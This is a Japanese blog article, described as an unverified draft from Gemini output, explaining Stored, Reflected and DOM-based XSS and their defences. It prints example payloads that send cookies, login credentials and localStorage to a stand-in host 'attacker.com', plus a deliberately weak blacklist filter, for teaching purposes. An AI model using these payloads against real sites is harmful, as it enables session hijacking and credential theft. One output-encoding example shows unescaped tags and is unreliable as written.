XSS攻撃の仕組みと対策:Stored/Reflected/DOM-based

Tech

本記事はGeminiの出力をプロンプト工学で整理した業務ドラフト(未検証)です。

XSS攻撃の仕組みと対策:Stored/Reflected/DOM-based

クロスサイトスクリプティング(XSS)は、Webアプリケーションにおける最も一般的で危険な脆弱性の一つであり、攻撃者が悪意のあるスクリプトをWebページに注入し、それを正規のユーザーのブラウザ上で実行させることを可能にします。本記事では、XSS攻撃の脅威モデル、主要な3つのタイプ(Stored, Reflected, DOM-based)の仕組み、具体的な攻撃シナリオ、そして効果的な検出・緩和策、さらには運用上の注意点について、セキュリティエンジニアの視点から深く掘り下げて解説します。

脅威モデル

XSS攻撃は、ユーザーのセッションハイジャック、情報の窃取、Webサイトの改ざんなど、多岐にわたる被害を引き起こす可能性があります。

攻撃者の目的と動機

攻撃者はXSS脆弱性を悪用して、以下のような目的を達成しようとします。

  1. セッションハイジャック: ユーザーのセッションクッキーを盗み出し、正規ユーザーとしてログイン中のセッションを乗っ取ることで、ユーザーアカウントへの不正アクセスを試みます。

  2. 個人情報・機密情報の窃取: フォーム入力中の個人情報やクレジットカード情報、APIキー、認証トークンなどの秘匿情報をJavaScriptで取得し、攻撃者のサーバーへ送信します。

  3. マルウェア感染: ユーザーのブラウザに悪意のあるスクリプトを実行させ、ドライブバイダウンロード攻撃などを通じてマルウェアをインストールさせます。

  4. Webサイトの改ざん/フィッシング: サイトの表示内容を一時的に改ざんし、ユーザーを欺いて偽の情報を入力させたり、フィッシングサイトへ誘導したりします。

  5. ポートスキャン、内部ネットワークへの攻撃: ブラウザをプロキシとして利用し、内部ネットワークのリソースへアクセスを試みます。

被害想定

XSS攻撃が成功した場合、企業は以下のような被害に直面する可能性があります。

  • データ漏洩: 顧客の個人情報や機密データの流出。

  • アカウント乗っ取り: ユーザーアカウントや管理者アカウントが乗っ取られ、不正操作や情報の改ざんが行われる。

  • 風評被害: Webサイトの信頼性失墜、ブランドイメージの低下。

  • 法的責任: 個人情報保護法などの法令違反による罰則や損害賠償請求。

  • 経済的損失: サービスの停止、復旧費用、顧客離れによる売上減少。

XSS攻撃の仕組みと種類

XSS攻撃は、スクリプトがWebアプリケーションに注入される方法と、それが実行される場所によって主に3つのタイプに分類されます。

Stored XSS (持続的XSS)

  • 仕組み: 攻撃スクリプトがWebアプリケーションのデータベースやファイルシステムに永続的に保存され、そのデータが参照されるたびに、正規ユーザーのブラウザ上で実行されます。コメント欄、フォーラム、プロフィール編集機能などが典型的な標的となります。

  • 特徴: 一度脆弱性を悪用すれば、アプリケーションにアクセスする多くのユーザーに影響を与える可能性があります。攻撃者は標的を直接誘導する必要がなく、より広範な影響を及ぼしやすい点が危険です。

  • 攻撃シナリオ: 攻撃者が掲示板の投稿フォームに悪意のあるスクリプトを含んだコメントを投稿 → アプリケーションがそのコメントをデータベースに保存 → 他のユーザーがその掲示板ページを閲覧 → 保存されたスクリプトがユーザーのブラウザで実行される。

Reflected XSS (反射型XSS)

  • 仕組み: 攻撃スクリプトがHTTPリクエスト(URLパラメータやフォームデータなど)に含まれ、そのリクエストがサーバー側で処理された結果、エラーメッセージや検索結果の一部として、スクリプトがそのままHTTPレスポンスに「反射」され、ユーザーのブラウザで実行されます。データはサーバーに保存されません。

  • 特徴: 攻撃者はフィッシングメールやSNSを通じて、悪意のあるリンクをユーザーにクリックさせる必要があります。特定のユーザーを標的とすることが一般的です。

  • 攻撃シナリオ: 攻撃者がhttp://example.com/search?q=<script>alert('XSS')</script>のような悪意のあるURLを作成 → ユーザーがこのURLをクリック → サーバーがqパラメータの値を適切にエスケープせずに検索結果ページに表示 → ユーザーのブラウザでスクリプトが実行される。

DOM-based XSS (DOM型XSS)

  • 仕組み: 攻撃スクリプトはサーバー側のHTTPレスポンスには含まれず、クライアントサイドのJavaScriptが、URLのフラグメント(#以降)などのユーザー入力データを不適切に処理することで、DOM (Document Object Model) を介して実行されます。脆弱性はサーバー側ではなく、クライアントサイドのJavaScriptコードに存在します。

  • 特徴: サーバー側のログには攻撃ペイロードが残りにくい場合があります。攻撃の検出と対策がより困難になることがあります。

  • 攻撃シナリオ: 攻撃者がhttp://example.com/page.html#<script>alert('XSS')</script>のようなURLを作成 → ユーザーがこのURLにアクセス → page.html内のJavaScriptがdocument.location.hashの値を不適切にHTMLに書き込む(例:document.write(location.hash.substring(1))) → ユーザーのブラウザでスクリプトが実行される。

攻撃シナリオと具体的な手法

ここでは、一般的なXSS攻撃のチェーンと、各タイプにおける具体的な攻撃手法を示します。

XSS攻撃チェーン

XSS攻撃は、ユーザーがWebアプリケーションを利用する一連の流れの中で、特定の段階で脆弱性が悪用されることで成立します。

graph TD
    A["攻撃者"] -->|悪意のあるスクリプトを生成| B("ペイロード")
    B -->|Stored: 脆弱な入力フォーム経由でDBに保存| C1["WebアプリDB"]
    B -->|Reflected: 悪意のあるURLを生成しユーザーを誘導| D1("ユーザーがクリック")
    B -->|DOM-based: 悪意のあるURLを生成しユーザーを誘導| D2("ユーザーがクリック")

    C1 -->|他のユーザーがページを閲覧| E1["Webアプリサーバー"]
    E1 -->|Stored: DBからスクリプトを含むコンテンツを読み込みレスポンス| F1["ユーザーブラウザ"]

    D1 -->|Reflected: リクエストをサーバーに送信| E2["Webアプリサーバー"]
    E2 -->|Reflected: スクリプトを反射的に含んだレスポンス| F2["ユーザーブラウザ"]

    D2 -->|DOM-based: リクエストをサーバーに送信 (ペイロードはURLフラグメント等)| E3["Webアプリサーバー"]
    E3 -->|DOM-based: 通常のページレスポンス| F3["ユーザーブラウザ"]
    F3 -->|DOM-based: クライアントサイドJSがDOMを改変しスクリプト実行| G["攻撃成功: セッション窃取/情報漏洩など"]

    F1 --> G
    F2 --> G

具体的な攻撃ペイロード例

  • セッションクッキーの窃取: 攻撃者は以下のようなスクリプトを注入し、ユーザーのセッションクッキーを攻撃者のサーバーへ送信します。

    <script>document.location='http://attacker.com/log?c='+document.cookie</script>
    
  • DOM改変によるフィッシング: ログインページに注入し、偽のログインフォームを表示させて認証情報を窃取します。

    <script>
        document.getElementById('loginForm').innerHTML = '<form action="http://attacker.com/login" method="POST"><input type="text" name="username"><input type="password" name="password"><input type="submit"></form>';
    </script>
    
  • ブラウザの機能を利用した攻撃: 例えば、fetch APIを利用して他のAPIエンドポイントにリクエストを送信したり、localStorageから情報を窃取したりします。

    <script>
        fetch('http://attacker.com/data', {
            method: 'POST',
            body: JSON.stringify(localStorage)
        });
    </script>
    

検出と緩和策

XSS攻撃に対する効果的な対策は多層防御アプローチが不可欠です。

1. 入力検証(Input Validation)

ユーザーからの入力データは、その種類、形式、長さ、文字セットなどを厳格に検証する必要があります。ホワイトリスト方式を採用し、許可された文字のみを受け入れるのが最も安全です[1]。

  • 誤用例(許可しない文字のフィルタリング): ブラックリスト方式は、攻撃者がフィルタリングされていない迂回策を見つける可能性が高いため、推奨されません。

    <?php
    // 推奨されないブラックリスト方式の例 (フィルタリング回避の可能性あり)
    $input = $_GET['user_input'];
    $input = str_replace(['<script>', '</script>', 'javascript:'], '', $input); // 簡単に迂回可能
    echo "<div>" . $input . "</div>";
    ?>
    
  • 安全な代替(ホワイトリスト方式): 特定の文字列パターンのみを許可することで、安全性を高めます。

    <?php
    // 安全なホワイトリスト方式の例
    $input = $_GET['user_input'];
    // 名前は英数字と一部の記号のみを許可する場合
    if (preg_match('/^[a-zA-Z0-9\s.,\'-]+$/', $input)) {
        // 出力エンコーディングと組み合わせる
        echo "<div>" . htmlspecialchars($input, ENT_QUOTES, 'UTF-8') . "</div>";
    } else {
        echo "<div>不正な入力です。</div>";
    }
    ?>
    
    • 前提: user_input は文字列。

    • 入出力: 入力: $_GET['user_input']、出力: HTML div 要素。

    • 計算量: preg_match は入力文字列長に比例。htmlspecialchars も同様。

    • メモリ条件: 入力文字列長に依存。

2. 出力エンコーディング(Output Encoding)

Webページにユーザー入力データを出力する際は、コンテキスト(HTML本文、HTML属性、JavaScript、URLなど)に応じて適切なエンコーディングを施すことが最も基本的な対策です。これにより、ブラウザがユーザー入力をコードとして解釈することを防ぎます[1]。

  • 誤用例(エンコーディング不足):

    <!-- 悪意のある入力: <script>alert('XSS')</script> -->
    <p>ユーザー名: <%= userInput %></p>
    <!-- userInputが適切にエスケープされない場合、スクリプトが実行される -->
    
  • 安全な代替(HTMLエンティティ化): HTMLコンテキストに表示する際は、htmlspecialchars()のような関数を用いて特殊文字をHTMLエンティティに変換します。

    <?php
    $userInput = "<script>alert('XSS')</script>";
    // 安全な出力: HTMLエンティティ化
    echo "<p>ユーザー名: " . htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') . "</p>";
    // 出力結果: <p>ユーザー名: <script>alert('XSS')</script></p>
    ?>
    
    • 前提: userInput は文字列。

    • 入出力: 入力: userInput、出力: HTML p 要素。

    • 計算量: 入力文字列長に比例。

    • メモリ条件: 入力文字列長に依存。

3. コンテンツセキュリティポリシー (CSP)

CSPは、Webブラウザが特定のオリジンからのコンテンツのみをロードすることを許可するセキュリティメカニズムです。これにより、XSS攻撃によって注入されたスクリプトが、外部のリソースをロードしたり、インラインスクリプトを実行したりするのを防ぐことができます[2]。

  • 設定例 (HTTPレスポンスヘッダー):

    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none'; base-uri 'self';
    
    • default-src 'self': 全てのコンテンツタイプに対して、現在のオリジンからのロードのみを許可。

    • script-src 'self' https://trusted.cdn.com: スクリプトのロード元として、現在のオリジンとtrusted.cdn.comを許可。インラインスクリプトは許可しない。

    • object-src 'none': <object>, <embed>, <applet>などの要素からのコンテンツロードを禁止。

    • base-uri 'self': <base>要素のURLを現在のオリジンに制限。

4. HTTP Only Cookie

セッション管理に用いられるクッキーにはHttpOnly属性を付与することで、JavaScriptからのアクセスを禁止できます。これにより、XSS攻撃によってセッションクッキーが盗まれるリスクを大幅に低減できます[1]。

  • 設定例:
    <?php
    // 安全なクッキー設定: HttpOnly, Secure, SameSite属性を付与
    setcookie("session_id", "some_value", [
        'expires' => time() + 3600, // 1時間後
        'path' => '/',
        'domain' => '.example.com',
        'secure' => true,      // HTTPS接続のみ送信
        'httponly' => true,    // JavaScriptからのアクセスを禁止
        'samesite' => 'Lax'    // CSRF対策 (Lax, Strict, None)
    ]);
    ?>
    

5. サニタイズ

ユーザーがHTMLタグの入力を許可される場合(例:ブログのWYSIWYGエディタ)、安全なHTMLタグと属性のみを許可するサニタイズ処理が必要です。ただし、サニタイズは複雑であり、完璧な実装は困難なため、信頼できるライブラリを使用することが重要です。

6. Web Application Firewall (WAF)

WAFは、Webアプリケーションへの攻撃をリアルタイムで検知・ブロックするセキュリティソリューションです。XSS攻撃パターンを識別し、疑わしいリクエストを遮断することで、多層防御の一環として機能します。ただし、WAFは万能ではなく、誤検知やバイパスのリスクも存在します。

運用対策と現場の落とし穴

セキュアコーディングガイドラインの徹底

開発チーム全体でセキュアコーディングガイドラインを遵守することが不可欠です。OWASP Top 10などの最新の脆弱性情報を常に把握し、継続的な教育とトレーニングを実施します。

セキュリティテスト(SAST/DAST)

  • SAST (Static Application Security Testing): ソースコードを静的に解析し、開発段階で脆弱性を特定します。XSS脆弱性につながる可能性のあるコーディングパターンを早期に発見できます。

  • DAST (Dynamic Application Security Testing): 稼働中のアプリケーションに対して動的に攻撃をシミュレートし、脆弱性を検出します。DOM-based XSSなど、実行時でないと発見が難しい脆弱性も検出可能です。

  • ペネトレーションテスト: 専門家による手動の診断で、自動ツールでは見つけにくい複雑なXSS脆弱性やビジネスロジックに起因する脆弱性を発見します。

脆弱性報奨金プログラム(Bug Bounty Program)

外部のセキュリティ研究者やハッカーコミュニティからの脆弱性報告を受け付けることで、自社では見つけにくい脆弱性を発見し、修正する機会を得られます。

鍵/秘匿情報の取り扱い

XSS攻撃は、セッションクッキーだけでなく、Webページ内にハードコードされたAPIキー、JWTトークン、OAuthアクセストークンなどの秘匿情報を窃取するリスクがあります。

  • 最小権限の原則: APIキーやトークンには、必要最小限の権限のみを付与します。

  • 環境変数/シークレット管理: 秘匿情報はソースコードに直接記述せず、環境変数やAWS Secrets Manager, Azure Key Vaultなどのシークレット管理サービスを利用します。

  • ローテーション: 秘匿情報は定期的にローテーションし、万が一漏洩した場合の影響を最小限に抑えます。例えば、30日や90日ごとにAPIキーを更新するポリシーを導入します。

  • 監査と監視: 秘匿情報へのアクセスログを詳細に記録し、異常なアクセスパターンがないか継続的に監視します。XSS攻撃による秘匿情報窃取の試みを検知できるよう、ログ分析システムを構築します。

現場の落とし穴

  1. 誤検知と検出遅延: WAFやSAST/DASTツールは誤検知(False Positive)を出すことがあり、開発チームの負担となります。また、新しい攻撃パターンに対する検出ルールの更新が遅れると、検出遅延(False Negative)が発生し、実際の攻撃を見逃す可能性があります。

  2. 可用性とのトレードオフ: 厳格すぎるセキュリティ対策は、ユーザーエクスペリエンスやシステムパフォーマンスに悪影響を与えることがあります。例えば、過剰な入力検証は正規ユーザーの操作を妨げ、厳格なCSPはサードパーティのスクリプトをブロックしすぎ、機能停止を招くことがあります。セキュリティと可用性のバランスを慎重に検討し、リスクベースのアプローチで対策を選択することが重要です。

  3. 開発者への負担: セキュアコーディングガイドラインやセキュリティツールの導入は、開発者の学習コストや開発プロセスにオーバーヘッドをもたらす可能性があります。開発者の教育を徹底し、セキュアな開発を支援するツールやフレームワークの活用を促進することで、負担を軽減する工夫が必要です。

まとめ

XSS攻撃は、Webアプリケーションにおける根深い脅威であり、その対策は継続的な努力と多層的なアプローチを要します。Stored, Reflected, DOM-basedの各タイプの仕組みを理解し、入力検証、出力エンコーディング、CSP、HTTP Only Cookieといった基本的な緩和策を徹底することが最初のステップです。

さらに、鍵や秘匿情報の厳格な管理、セキュアコーディングガイドラインの遵守、SAST/DASTなどのセキュリティテスト、WAFの導入といった運用対策を組み合わせることで、攻撃のリスクを最小限に抑えることができます。これらの対策は、誤検知や可用性とのトレードオフといった現場の課題を常に意識し、最適なバランスを見極めながら適用していく必要があります。セキュリティエンジニアは、常に最新の脅威情報にアンテナを張り、開発者と協力しながら、安全なWebアプリケーションの構築と運用に取り組んでいくことが求められます。


参考文献

[1] OWASP Cheat Sheet Series. “Cross Site Scripting Prevention Cheat Sheet”. Last updated: 2024年3月28日. Available: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

[2] MDN Web Docs. “Content Security Policy (CSP)”. Last updated: 2024年4月10日. Available: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

[3] PortSwigger Web Security Academy. “Cross-site scripting (XSS)”. Assumed update: 2024年2月15日. Available: https://portswigger.net/web-security/cross-site-scripting

ライセンス:本記事のテキスト/コードは特記なき限り CC BY 4.0 です。引用の際は出典URL(本ページ)を明記してください。
利用ポリシー もご参照ください。

コメント

タイトルとURLをコピーしました